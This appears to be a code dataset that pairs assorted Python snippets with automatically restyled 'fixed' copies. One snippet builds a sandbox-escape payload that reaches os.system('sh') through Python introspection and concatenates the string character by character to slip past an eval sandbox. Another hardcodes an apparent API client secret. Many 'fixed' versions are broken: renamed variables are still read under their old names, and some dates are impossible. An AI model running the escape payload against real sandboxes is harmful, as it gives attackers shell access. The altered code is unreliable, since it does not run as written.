content
stringlengths
7
1.05M
fixed_cases
stringlengths
1
1.28M
""" Shortest path: Find the shortest path (of neighbors) from s to v for all v """ def shortest_path(s, v, memoize={}): """ Brute force shortest path from v to s """ if (s,v) in memoize: return memoize[(s,v)] shortest = None best_neighbor = None for neighbor in v.neighbors: ...
""" Shortest path: Find the shortest path (of neighbors) from s to v for all v """ def shortest_path(s, v, memoize={}): """ Brute force shortest path from v to s """ if (s, v) in memoize: return memoize[s, v] shortest = None best_neighbor = None for neighbor in v.neighbors: ...
pygame, random, sys pygame.init() screen_width, screen_height = 400, 600 SCORE_FONT = pygame.font.SysFont('comicsans', 40) screen = pygame.display.set_mode((screen_width,screen_height)) pygame.display.set_caption("Stack towers") BLACK = (0,0,0) RED = (255,0,0) BLUE = (0,0,255) GREEN = (0,255,0) YELLOW = (255,212,...
(pygame, random, sys) pygame.init() (screen_width, screen_height) = (400, 600) score_font = pygame.font.SysFont('comicsans', 40) screen = pygame.display.set_mode((screen_width, screen_height)) pygame.display.set_caption('Stack towers') black = (0, 0, 0) red = (255, 0, 0) blue = (0, 0, 255) green = (0, 255, 0) yellow = ...
def main(): pins = {} subconnectors = ["A", "B", "C", "D"] curr_connector = None with open("pins.txt", "r") as f: for line in f: l = line.split("#")[0].strip() if len(l) == 0: continue if l[0] == '.': curr_connector = l[1:] ...
def main(): pins = {} subconnectors = ['A', 'B', 'C', 'D'] curr_connector = None with open('pins.txt', 'r') as f: for line in f: l = line.split('#')[0].strip() if len(l) == 0: continue if l[0] == '.': curr_connector = l[1:] ...
stations = [ '12th St. Oakland City Center', '16th St. Mission (SF)', '19th St. Oakland', '24th St. Mission (SF)', 'Ashby (Berkeley)', 'Balboa Park (SF)', 'Bay Fair (San Leandro)', 'Castro Valley', 'Civic Center (SF)', 'Coliseum/Oakland Airport', 'Colma', 'Concord', '...
stations = ['12th St. Oakland City Center', '16th St. Mission (SF)', '19th St. Oakland', '24th St. Mission (SF)', 'Ashby (Berkeley)', 'Balboa Park (SF)', 'Bay Fair (San Leandro)', 'Castro Valley', 'Civic Center (SF)', 'Coliseum/Oakland Airport', 'Colma', 'Concord', 'Daly City', 'Downtown Berkeley', 'Dublin/Pleasanton',...
def palindrome(word, index): second_index = len(word) - 1 - index if index == len(word) // 2: return f"{word} is a palindrome" if word[index] == word[second_index]: return palindrome(word, index + 1) else: return f"{word} is not a palindrome" print(palindrome("abcba",...
def palindrome(word, index): second_index = len(word) - 1 - index if index == len(word) // 2: return f'{word} is a palindrome' if word[index] == word[second_index]: return palindrome(word, index + 1) else: return f'{word} is not a palindrome' print(palindrome('abcba', 0)) print(p...
# Configuration file for the Sphinx documentation builder. # -- Project information project = 'PDFsak' copyright = '2021, Raffaele Mancuso' author = 'Raffaele Mancuso' release = '1.1' version = '1.1.1' # -- General configuration extensions = [ 'sphinx.ext.duration', 'sphinx.ext.doctest', 'sphinx.ext.au...
project = 'PDFsak' copyright = '2021, Raffaele Mancuso' author = 'Raffaele Mancuso' release = '1.1' version = '1.1.1' extensions = ['sphinx.ext.duration', 'sphinx.ext.doctest', 'sphinx.ext.autodoc', 'sphinx.ext.autosummary', 'sphinx.ext.intersphinx'] intersphinx_mapping = {'python': ('https://docs.python.org/3/', None)...
s = '().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["sys"].modules["os.path"].os.system("sh")' s2 = '+'.join(['\'{}\''.format(x) for x in s]) print('(lambda:sandboxed_eval({}))()'.format(s2))
s = '().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals["sys"].modules["os.path"].os.system("sh")' s2 = '+'.join(["'{}'".format(x) for x in s]) print('(lambda:sandboxed_eval({}))()'.format(s2))
""" Copyright 2017 Neural Networks and Deep Learning lab, MIPT Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or a...
""" Copyright 2017 Neural Networks and Deep Learning lab, MIPT Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or a...
LIB_IMPORT = """ from qiskit import QuantumCircuit from qiskit import execute, Aer from qiskit.visualization import *""" CIRCUIT_SCRIPT = """ circuit = build_state() circuit.measure_all() figure = circuit.draw('mpl') output = figure.savefig('circuit.png')""" PLOT_SCRIPT = """ backend = Aer.get_backend("qasm_simulator...
lib_import = '\nfrom qiskit import QuantumCircuit\nfrom qiskit import execute, Aer\nfrom qiskit.visualization import *' circuit_script = "\ncircuit = build_state()\ncircuit.measure_all()\nfigure = circuit.draw('mpl')\noutput = figure.savefig('circuit.png')" plot_script = '\nbackend = Aer.get_backend("qasm_simulator")\n...
class Solution(object): def reverse(self, x): """ :type x: int :rtype: int """ answer = 0 if x >=0 : while x > 0: answer = answer*10 + x%10 x = x/10 if answer > 2147483647: return 0 el...
class Solution(object): def reverse(self, x): """ :type x: int :rtype: int """ answer = 0 if x >= 0: while x > 0: answer = answer * 10 + x % 10 x = x / 10 if answer > 2147483647: return 0 ...
def isMAC48Address(inputString): letters = ['A','B', 'C','D','E','F'] string = inputString.split('-') input = len(string) if input != 6: return False for i in range(input): subInput = string[i] subString = len(subInput) if subString != 2: return False ...
def is_mac48_address(inputString): letters = ['A', 'B', 'C', 'D', 'E', 'F'] string = inputString.split('-') input = len(string) if input != 6: return False for i in range(input): sub_input = string[i] sub_string = len(subInput) if subString != 2: return Fa...
#!/usr/bin/env python ## Global macros SNIFF_TIMEOUT = 5 AGGREGATION_TIMEOUT = 5 ACTIVE_TIMEOUT = 20 ## If a flow doesn't have a packet traversing a router during ACTIVE_TIMEOUT, it will be removed from monitored flows BATCH_SIZE = 1000 MAX_BG_TRAFFIC_TO_READ = 5000 MIN_REPORT_SIZE = 600 ## Only send summary report if...
sniff_timeout = 5 aggregation_timeout = 5 active_timeout = 20 batch_size = 1000 max_bg_traffic_to_read = 5000 min_report_size = 600 bg_traffic_size = 900 svd_matrix_rank = 12 kmean_num_clusters = 200 max_summary_id = 100 g_background_traffic = {}
class AirTable: # AirTable configuration variables API_KEY = '' BASE = '' PROJECT_TABLE_NAME = '' PROJECT_PHASE_OWNERS_TABLE = '' PROJECT_PHASE_FIELD = '' ASSIGNEE_FIELD = ''
class Airtable: api_key = '' base = '' project_table_name = '' project_phase_owners_table = '' project_phase_field = '' assignee_field = ''
n=int(input("Enter a number:")) tot=0 while(n>0): dig=n%10 tot=tot+dig n=n//10 print("The total sum of digits is:",tot)
n = int(input('Enter a number:')) tot = 0 while n > 0: dig = n % 10 tot = tot + dig n = n // 10 print('The total sum of digits is:', tot)
class Node: '''This class is just for creating a Node with some data, thats why we set the refrence field to Null''' def __init__(self, data): self.data = data self.nref = None self.pref = None class Doubly_LL: '''This class is for performing the operations to the node which w...
class Node: """This class is just for creating a Node with some data, thats why we set the refrence field to Null""" def __init__(self, data): self.data = data self.nref = None self.pref = None class Doubly_Ll: """This class is for performing the operations to the node which we cre...
# # PySNMP MIB module ZYXEL-IF-LOOPBACK-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ZYXEL-IF-LOOPBACK-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 21:44:07 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (def...
(octet_string, integer, object_identifier) = mibBuilder.importSymbols('ASN1', 'OctetString', 'Integer', 'ObjectIdentifier') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (constraints_intersection, single_value_constraint, value_size_constraint, value_range_constraint, constraints_union) ...
def test_throw_on_sending(w3, assert_tx_failed, get_contract_with_gas_estimation): code = """ x: public(int128) @external def __init__(): self.x = 123 """ c = get_contract_with_gas_estimation(code) assert c.x() == 123 assert w3.eth.getBalance(c.address) == 0 assert_tx_failed( lambd...
def test_throw_on_sending(w3, assert_tx_failed, get_contract_with_gas_estimation): code = '\nx: public(int128)\n\n@external\ndef __init__():\n self.x = 123\n ' c = get_contract_with_gas_estimation(code) assert c.x() == 123 assert w3.eth.getBalance(c.address) == 0 assert_tx_failed(lambda : w3.e...
""" Project Euler Problem 2 ======================= Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with 1 and 2, the first 10 terms will be: 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ... Find the sum of all the even-valued terms in the sequence which do ...
""" Project Euler Problem 2 ======================= Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with 1 and 2, the first 10 terms will be: 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ... Find the sum of all the even-valued terms in the sequence which do ...
expansion_dates = [ ["2017-09-06", "D2 Vanilla"], ["2018-09-04", "Forsaken"], ["2019-10-01", "Shadowkeep"], ["2020-11-10", "Beyond Light"], ["2022-22-02", "Witch Queen"], ] season_dates = [ ["2017-12-05", "Curse of Osiris"], ["2018-05-08", "Warmind"], ["2018-12-04", "Season of the Forge...
expansion_dates = [['2017-09-06', 'D2 Vanilla'], ['2018-09-04', 'Forsaken'], ['2019-10-01', 'Shadowkeep'], ['2020-11-10', 'Beyond Light'], ['2022-22-02', 'Witch Queen']] season_dates = [['2017-12-05', 'Curse of Osiris'], ['2018-05-08', 'Warmind'], ['2018-12-04', 'Season of the Forge'], ['2019-03-05', 'Season of the Dri...
""" Shop in Candy Store: In a candy store there are N different types of candies available and the prices of all the N different types of candies are provided to you. You are now provided with an attractive offer. You can buy a single candy from the store and get atmost K other candies ( all are different types ) for...
""" Shop in Candy Store: In a candy store there are N different types of candies available and the prices of all the N different types of candies are provided to you. You are now provided with an attractive offer. You can buy a single candy from the store and get atmost K other candies ( all are different types ) for...
# Copyright 2019 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
"""Convenience macro for stardoc e2e tests.""" load('@bazel_skylib//:bzl_library.bzl', 'bzl_library') load('//stardoc:html_tables_stardoc.bzl', 'html_tables_stardoc') load('//stardoc:stardoc.bzl', 'stardoc') def stardoc_test(name, input_file, golden_file, deps=[], test='default', **kwargs): """Convenience macro fo...
# https://leetcode.com/problems/best-time-to-buy-and-sell-stock/submissions/ class Solution: def maxProfit(self, prices: List[int]) -> int: if len(prices) == 0: return 0 maxProfitSoFar = 0 buy = prices[0] for i in range(1, len(prices)): cur ...
class Solution: def max_profit(self, prices: List[int]) -> int: if len(prices) == 0: return 0 max_profit_so_far = 0 buy = prices[0] for i in range(1, len(prices)): cur = prices[i] cur_profit = cur - buy if curProfit < 0: ...
# Variables to be overriden by template_vars.mk via jinja # watch the string quoting. RUNAS = "{{MLDB_USER}}" HTTP_LISTEN_PORT = {{MLDB_LOGGER_HTTP_PORT}}
runas = '{{MLDB_USER}}' http_listen_port = {{MLDB_LOGGER_HTTP_PORT}}
class IIDError: INTERNAL_ERROR = 'internal-error' UNKNOWN_ERROR = 'unknown-error' INVALID_ARGUMENT = 'invalid-argument' AUTHENTICATION_ERROR = 'authentication-error' SERVER_UNAVAILABLE = 'server-unavailable' ERROR_CODES = { 400: INVALID_ARGUMENT, 401: AUTHENTICATION_ERROR, ...
class Iiderror: internal_error = 'internal-error' unknown_error = 'unknown-error' invalid_argument = 'invalid-argument' authentication_error = 'authentication-error' server_unavailable = 'server-unavailable' error_codes = {400: INVALID_ARGUMENT, 401: AUTHENTICATION_ERROR, 403: AUTHENTICATION_ERR...
PATH_TO_DATASET = "houseprice.csv" TARGET = 'SalePrice' CATEGORICAL_TO_IMPUTE = ['MasVnrType', 'BsmtQual', 'BsmtExposure', 'FireplaceQu', 'GarageType', 'GarageFinish'] NUMERICAL_TO_IMPUTE = ['LotFrontage'] YEAR_VARIABLE = 'YearRemodAdd' NUMERICAL_LOG = ['LotFrontage', ...
path_to_dataset = 'houseprice.csv' target = 'SalePrice' categorical_to_impute = ['MasVnrType', 'BsmtQual', 'BsmtExposure', 'FireplaceQu', 'GarageType', 'GarageFinish'] numerical_to_impute = ['LotFrontage'] year_variable = 'YearRemodAdd' numerical_log = ['LotFrontage', '1stFlrSF', 'GrLivArea', 'SalePrice'] categorical_e...
""" Implements a solution to the compare lists Hackerrank problem. https://www.hackerrank.com/challenges/compare-two-linked-lists/problem """ __author__ = "Jacob Richardson" def compare_lists(llist1, llist2): """ Compares two singly linked list to determine if they are equal.""" # If list 1 is empty...
""" Implements a solution to the compare lists Hackerrank problem. https://www.hackerrank.com/challenges/compare-two-linked-lists/problem """ __author__ = 'Jacob Richardson' def compare_lists(llist1, llist2): """ Compares two singly linked list to determine if they are equal.""" if not llist1 and llist...
def get_questions_and_media_attributes(json): questions=[] media_attributes=[] def parse_repeat(r_object): r_question = r_object['name'] for first_children in r_object['children']: question = r_question+"/"+first_children['name'] if first_child...
def get_questions_and_media_attributes(json): questions = [] media_attributes = [] def parse_repeat(r_object): r_question = r_object['name'] for first_children in r_object['children']: question = r_question + '/' + first_children['name'] if first_children['type'] in ...
def main(request, response): coop = request.GET.first("coop") coep = request.GET.first("coep") redirect = request.GET.first("redirect", None) if coop != "": response.headers.set("Cross-Origin-Opener-Policy", coop) if coep != "": response.headers.set("Cross-Origin-Embedder-Policy", co...
def main(request, response): coop = request.GET.first('coop') coep = request.GET.first('coep') redirect = request.GET.first('redirect', None) if coop != '': response.headers.set('Cross-Origin-Opener-Policy', coop) if coep != '': response.headers.set('Cross-Origin-Embedder-Policy', co...
AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', ...
auth_password_validators = [{'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator'}, {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator'}, {'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator'}, {'NAME': 'django.contrib.auth.password_validation.Num...
""" https://www.codewars.com/kata/57faefc42b531482d5000123 Given a string, remove all exclamation marks from the string, except for a ! if it exists at the very end. remove("Hi!") == "Hi!" remove("Hi!!!") == "Hi!!!" remove("!Hi") == "Hi" remove("!Hi!") == "Hi!" remove("Hi! Hi!") == "Hi Hi!" remove("Hi") == "Hi" """ ...
""" https://www.codewars.com/kata/57faefc42b531482d5000123 Given a string, remove all exclamation marks from the string, except for a ! if it exists at the very end. remove("Hi!") == "Hi!" remove("Hi!!!") == "Hi!!!" remove("!Hi") == "Hi" remove("!Hi!") == "Hi!" remove("Hi! Hi!") == "Hi Hi!" remove("Hi") == "Hi" """ ...
# coding: utf-8 """***************************************************************************** * Copyright (C) 2021 Microchip Technology Inc. and its subsidiaries. * * Subject to your compliance with these terms, you may use Microchip software * and any derivatives exclusively with Microchip products. It is your * re...
"""***************************************************************************** * Copyright (C) 2021 Microchip Technology Inc. and its subsidiaries. * * Subject to your compliance with these terms, you may use Microchip software * and any derivatives exclusively with Microchip products. It is your * responsibility to ...
# # "Client-ID" and "Client-Secret" from https://www.strava.com/settings/api # CLIENT_ID = '19661' CLIENT_SECRET = '673409cdf6d02b8bc47b0e88cd03015283dddba2' AUTH_URL = 'http://127.0.0.1:7123/auth'
client_id = '19661' client_secret = '673409cdf6d02b8bc47b0e88cd03015283dddba2' auth_url = 'http://127.0.0.1:7123/auth'
WHITE_ON_BLACK = 0 WHITE_ON_BLUE = 1 BLUE_ON_BLACK = 2 RED_ON_BLACK = 3 GREEN_ON_BLACK = 4 YELLOW_ON_BLACK = 5 CYAN_ON_BLACK = 6 MAGENTA_ON_BLACK = 7 WHITE_ON_CYAN = 8 MAGENTA_ON_CYAN = 9 PROTOCOL_NUMBERS = { 0: "HOPOPT", 1: "ICMP", 2: "IGMP", 3: "GGP", 4: "IPv4", 5: "ST", 6: "TCP", 7: ...
white_on_black = 0 white_on_blue = 1 blue_on_black = 2 red_on_black = 3 green_on_black = 4 yellow_on_black = 5 cyan_on_black = 6 magenta_on_black = 7 white_on_cyan = 8 magenta_on_cyan = 9 protocol_numbers = {0: 'HOPOPT', 1: 'ICMP', 2: 'IGMP', 3: 'GGP', 4: 'IPv4', 5: 'ST', 6: 'TCP', 7: 'CBT', 8: 'EGP', 9: 'IGP', 10: 'BB...
type_ = "postgresql" username = "" password = "" address = "" database = "" sort_keys = True secret_key = "" debug = True app_host = "0.0.0.0"
type_ = 'postgresql' username = '' password = '' address = '' database = '' sort_keys = True secret_key = '' debug = True app_host = '0.0.0.0'
# -*- coding: utf-8 -*- qntMedidaVelocidadeMotor = int(input()) listMedidaVelocidade = list(map(int, input().split())) indiceMedidaMenor = 0 for indiceMedida in range(1, qntMedidaVelocidadeMotor): if listMedidaVelocidade[indiceMedida] < listMedidaVelocidade[indiceMedida - 1]: indiceMedidaMenor = indiceMed...
qnt_medida_velocidade_motor = int(input()) list_medida_velocidade = list(map(int, input().split())) indice_medida_menor = 0 for indice_medida in range(1, qntMedidaVelocidadeMotor): if listMedidaVelocidade[indiceMedida] < listMedidaVelocidade[indiceMedida - 1]: indice_medida_menor = indiceMedida + 1 ...
''' Given an array nums containing n + 1 integers where each integer is between 1 and n (inclusive), prove that at least one duplicate number must exist. Assume that there is only one duplicate number, find the duplicate one. Example 1: Input: [1,3,4,2,2] Output: 2 ''' class Solution: def findDuplicate(self, nu...
""" Given an array nums containing n + 1 integers where each integer is between 1 and n (inclusive), prove that at least one duplicate number must exist. Assume that there is only one duplicate number, find the duplicate one. Example 1: Input: [1,3,4,2,2] Output: 2 """ class Solution: def find_duplicate(self, n...
#!python class Person: def __init__(self, initialAge): self.age = initialAge if initialAge >= 0 else 0 if initialAge < 0: print("Age is not valid, setting age to 0.") def amIOld(self): if self.age < 13: print("You are young.") elif self.age < 18: ...
class Person: def __init__(self, initialAge): self.age = initialAge if initialAge >= 0 else 0 if initialAge < 0: print('Age is not valid, setting age to 0.') def am_i_old(self): if self.age < 13: print('You are young.') elif self.age < 18: pr...
MotorDriverDirection = [ 'forward', 'backward', ] class MotorDriver(): def __init__(self): self.PWMA = 0 self.AIN1 = 1 self.AIN2 = 2 self.PWMB = 5 self.BIN1 = 3 self.BIN2 = 4 def MotorRun(self, pwm, motor, index, speed): if speed > 100: ...
motor_driver_direction = ['forward', 'backward'] class Motordriver: def __init__(self): self.PWMA = 0 self.AIN1 = 1 self.AIN2 = 2 self.PWMB = 5 self.BIN1 = 3 self.BIN2 = 4 def motor_run(self, pwm, motor, index, speed): if speed > 100: return...
#fragment start * ENDMARK = "\0" # aka "lowvalues" #----------------------------------------------------------------------- # # Character # #----------------------------------------------------------------------- class Character: """ A Character object holds - one character (self.cargo) - the inde...
endmark = '\x00' class Character: """ A Character object holds - one character (self.cargo) - the index of the character's position in the sourceText. - the index of the line where the character was found in the sourceText. - the index of the column in the line where the character was found in the sourceT...
""" Deals with generating the per-page table of contents. For the sake of simplicity we use the Python-Markdown `toc` extension to generate a list of dicts for each toc item, and then store it as AnchorLinks to maintain compatibility with older versions of staticgennan. """ def get_toc(toc_tokens): toc = [_parse...
""" Deals with generating the per-page table of contents. For the sake of simplicity we use the Python-Markdown `toc` extension to generate a list of dicts for each toc item, and then store it as AnchorLinks to maintain compatibility with older versions of staticgennan. """ def get_toc(toc_tokens): toc = [_parse_...
""" Pie Chart Uses the arc() function to generate a pie chart from the data stored in an array. """ angles = (30, 10, 45, 35, 60, 38, 75, 67) def setup(): size(640, 360) noStroke() noLoop() # Run once and stop def draw(): background(100) pieChart(300, angles) def pieChart(diameter, da...
""" Pie Chart Uses the arc() function to generate a pie chart from the data stored in an array. """ angles = (30, 10, 45, 35, 60, 38, 75, 67) def setup(): size(640, 360) no_stroke() no_loop() def draw(): background(100) pie_chart(300, angles) def pie_chart(diameter, data): last_angle = ...
#counting sort l = [] n = int(input("Enter number of elements in the list: ")) highest = 0 for i in range(n): temp = int(input("Enter element"+str(i+1)+': ')) if temp > highest: highest = temp l += [temp] def counting_sort(l,h): bookkeeping = [0 for i in range(h+1)] for i in l:...
l = [] n = int(input('Enter number of elements in the list: ')) highest = 0 for i in range(n): temp = int(input('Enter element' + str(i + 1) + ': ')) if temp > highest: highest = temp l += [temp] def counting_sort(l, h): bookkeeping = [0 for i in range(h + 1)] for i in l: bookkeepin...
class Source: ''' Source class to define Source Objects ''' def __init__(self,id,name,description,url,category,language,country): self.id =id self.name = name self.description= description self.url = url self.category = category self.language = language ...
class Source: """ Source class to define Source Objects """ def __init__(self, id, name, description, url, category, language, country): self.id = id self.name = name self.description = description self.url = url self.category = category self.language = l...
class Solution: def toGoatLatin(self, S: str) -> str: ans = '' for i, word in enumerate(S.split()): if('aiueoAIUEO'.find(word[0]) != -1): word += 'ma' else: word = word[1:] + word[0] + 'ma' word += 'a' * (i + 1) ans += w...
class Solution: def to_goat_latin(self, S: str) -> str: ans = '' for (i, word) in enumerate(S.split()): if 'aiueoAIUEO'.find(word[0]) != -1: word += 'ma' else: word = word[1:] + word[0] + 'ma' word += 'a' * (i + 1) ans ...
def make_bold(func): def wrapper(*args, **kwargs): return f'<b>{func(*args, **kwargs)}</b>' return wrapper def make_italic(func): def wrapper(*args, **kwargs): return f'<i>{func(*args, **kwargs)}</i>' return wrapper def make_underline(func): def wrapper(*args, **kwargs): ...
def make_bold(func): def wrapper(*args, **kwargs): return f'<b>{func(*args, **kwargs)}</b>' return wrapper def make_italic(func): def wrapper(*args, **kwargs): return f'<i>{func(*args, **kwargs)}</i>' return wrapper def make_underline(func): def wrapper(*args, **kwargs): ...
#Naive vowel removal. removeVowels = "EQuis sapiente illo autem mollitia alias corrupti reiciendis aut. Molestiae commodi minima omnis illo officia inventore. Quisquam sint corporis eligendi corporis voluptatum eos. Natus provident doloremque reiciendis vel atque quo. Quidem" charToRemove = ['a', 'e', 'i', 'o', 'u'] ...
remove_vowels = 'EQuis sapiente illo autem mollitia alias corrupti reiciendis aut. Molestiae commodi minima omnis illo officia inventore. Quisquam sint corporis eligendi corporis voluptatum eos. Natus provident doloremque reiciendis vel atque quo. Quidem' char_to_remove = ['a', 'e', 'i', 'o', 'u'] print(removeVowels) f...
# Copyright (c) 2019 CatPy # Python stdlib imports #from typing import NamedTuple, Dict # package imports #from catpy.usfos.headers import print_head_line, print_EOF def print_gravity(): """ """ UFOmod = [] #_iter = 0 #for _key, _load in sorted(load.items()): #try: ...
def print_gravity(): """ """ uf_omod = [] UFOmod.append("' \n") UFOmod.append("' \n") UFOmod.append("'{:} Gravity Load\n".format(70 * '-')) UFOmod.append("' \n") UFOmod.append("' Load Case Acc_X Acc_Y Acc_Z\n") UFOmod.append("' \n") UFOmod.append(' ...
def patching_test(value): """ A test function for patching values during step tests. By default this function returns the value it was passed. Patching this should change its behavior in step tests. """ return value
def patching_test(value): """ A test function for patching values during step tests. By default this function returns the value it was passed. Patching this should change its behavior in step tests. """ return value
class Solution: def rotate(self, nums: List[int], k: int) -> None: """ Do not return anything, modify nums in-place instead. https://leetcode-cn.com/problems/rotate-array """ leng = len(nums); k %= leng; loop_time = current = start = 0; while True: ...
class Solution: def rotate(self, nums: List[int], k: int) -> None: """ Do not return anything, modify nums in-place instead. https://leetcode-cn.com/problems/rotate-array """ leng = len(nums) k %= leng loop_time = current = start = 0 while True: ...
class SwanTag: __tag = None __link = None __desc = None __parent = [] __child = [] __attrs = [] def __init__(self): pass
class Swantag: __tag = None __link = None __desc = None __parent = [] __child = [] __attrs = [] def __init__(self): pass
# 8b d8 Yb dP 88""Yb db dP""b8 88 dP db dP""b8 888888 # 88b d88 YbdP 88__dP dPYb dP `" 88odP dPYb dP `" 88__ # 88YbdP88 8P 88""" dP__Yb Yb 88"Yb dP__Yb Yb "88 88"" # 88 YY 88 dP 88 dP""""Yb YboodP 88 Yb dP""""Yb YboodP 888888 VERSION = (0, 7, 3, 8) __vers...
version = (0, 7, 3, 8) __version__ = '.'.join(map(str, VERSION))
''' Created on Jan 5, 2010 @author: jtiai ''' HOME = 1 VISITOR = -1 TIE = 0 def winner(self): """Returns winner of the match or guess 1 = home, 0 = equal, -1 = visitor""" if self.home_score > self.away_score: return HOME elif self.home_score < self.away_score: return VISITOR else...
""" Created on Jan 5, 2010 @author: jtiai """ home = 1 visitor = -1 tie = 0 def winner(self): """Returns winner of the match or guess 1 = home, 0 = equal, -1 = visitor""" if self.home_score > self.away_score: return HOME elif self.home_score < self.away_score: return VISITOR else: ...
""" Boxing modules. Boxes are added in formatting Mathics S-Expressions. Boxing information like width and size makes it easier for formatters to do layout without having to know the intricacies of what is inside the box. """
""" Boxing modules. Boxes are added in formatting Mathics S-Expressions. Boxing information like width and size makes it easier for formatters to do layout without having to know the intricacies of what is inside the box. """
N = int(input()) def explosion_3(n): n_pos_B = [0 for i in range(n)] n_pos_A = [0 for i in range(n)] n_pos_C = [0 for i in range(n)] n_pos_B[0] = 1 n_pos_A[0] = 1 n_pos_C[0] = 1 for i in range(1, n): n_pos_C[i] = n_pos_C[i - 1] + n_pos_B[i - 1] + n_pos_A[i - 1] n_pos_B[i] ...
n = int(input()) def explosion_3(n): n_pos_b = [0 for i in range(n)] n_pos_a = [0 for i in range(n)] n_pos_c = [0 for i in range(n)] n_pos_B[0] = 1 n_pos_A[0] = 1 n_pos_C[0] = 1 for i in range(1, n): n_pos_C[i] = n_pos_C[i - 1] + n_pos_B[i - 1] + n_pos_A[i - 1] n_pos_B[i] = ...
class InstanceStack(object): def __init__(self, max_stack): self._max_stack = max_stack self._stack = [] def __contains__(self, name): return name in map(lambda instance: instance.get_arch_name(), self._stack) def __getitem__(self, name): for instance in self._stack: ...
class Instancestack(object): def __init__(self, max_stack): self._max_stack = max_stack self._stack = [] def __contains__(self, name): return name in map(lambda instance: instance.get_arch_name(), self._stack) def __getitem__(self, name): for instance in self._stack: ...
# Copyright 2019 The Texar Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
"""VAE config. """ dataset = 'ptb' num_epochs = 100 hidden_size = 256 dec_dropout_in = 0.5 dec_dropout_out = 0.5 enc_dropout_in = 0.0 enc_dropout_out = 0.0 word_keep_prob = 0.5 batch_size = 32 embed_dim = 256 latent_dims = 32 lr_decay_hparams = {'init_lr': 0.001, 'threshold': 2, 'decay_factor': 0.5, 'max_decay': 5} dec...
# URI Online Judge 2756 diamond = [ ' A', ' B B', ' C C', ' D D', ' E E', ' D D', ' C C', ' B B', ' A', ] for line in diamond: print(line)
diamond = [' A', ' B B', ' C C', ' D D', ' E E', ' D D', ' C C', ' B B', ' A'] for line in diamond: print(line)
# Write and test a function threshold(vals, goal) # where vals is a sequence of numbers and goal is a positive number. # The function returns the smallest integer n such that the sum of # the first n numbers in vals is >= goal. If the goal is # unachievable, the function returns 0 def func(data, goal): n = int...
def func(data, goal): n = int() pos = int() for (i, v) in enumerate(data): if n < goal: n += v pos = i elif n >= goal: pos = i break if n < goal: return 0 return i dd = [1, 1, 2, 3, 4, 5] gg = 10 a = func(dd, gg) print(a)
def main() -> None: # binary search n = int(input()) a = list(map(int, input().split())) def binary_search_average() -> float: def possible_more_than(average: float) -> bool: b = [x - average for x in a] dp = [[0.0, 0.0] for _ in range(n + 1)] # not-...
def main() -> None: n = int(input()) a = list(map(int, input().split())) def binary_search_average() -> float: def possible_more_than(average: float) -> bool: b = [x - average for x in a] dp = [[0.0, 0.0] for _ in range(n + 1)] for i in range(n): ...
# /home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser_tables.py # This file is automatically generated. Do not edit. _tabversion = '3.2' _lr_method = 'LALR' _lr_signature = '4\xa4a\x00\xea\xcdZp5\xc6@\xa5\xfa\x1dCA' _lr_action_items = {'NONE_TOK':([8,12,24,26,],[11,11,11,11,]),'LP_TOK':(...
_tabversion = '3.2' _lr_method = 'LALR' _lr_signature = '4¤a\x00êÍZp5Æ@¥ú\x1dCA' _lr_action_items = {'NONE_TOK': ([8, 12, 24, 26], [11, 11, 11, 11]), 'LP_TOK': ([5, 8, 12, 24, 26], [8, 12, 12, 12, 12]), 'STRING_TOK': ([8, 12, 24, 26], [13, 13, 13, 13]), 'RP_TOK': ([8, 11, 12, 13, 14, 16, 17, 18, 19, 20, 22, 23, 26, 27,...
def funny_division(anumber): try: return 100 / anumber except ZeroDivisionError: return "Silly wabbit, you can't divide by zero!" print(funny_division(0)) print(funny_division(50.0)) print(funny_division("hello"))
def funny_division(anumber): try: return 100 / anumber except ZeroDivisionError: return "Silly wabbit, you can't divide by zero!" print(funny_division(0)) print(funny_division(50.0)) print(funny_division('hello'))
def extractNutty(item): """ """ vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title']) if not (chp or vol) or 'preview' in item['title'].lower(): return None if 'A Mistaken Marriage Match' in item['tags'] and 'a generation of military counselor' in item['tags']: return buildReleaseMessag...
def extract_nutty(item): """ """ (vol, chp, frag, postfix) = extract_vol_chapter_fragment_postfix(item['title']) if not (chp or vol) or 'preview' in item['title'].lower(): return None if 'A Mistaken Marriage Match' in item['tags'] and 'a generation of military counselor' in item['tags']: ...
with sqlite3.connect(DATABASE) as db: db.execute(SQL_CREATE_TABLE) db.executemany(SQL_INSERT, DATA) result = list(db.execute(SQL_SELECT))
with sqlite3.connect(DATABASE) as db: db.execute(SQL_CREATE_TABLE) db.executemany(SQL_INSERT, DATA) result = list(db.execute(SQL_SELECT))
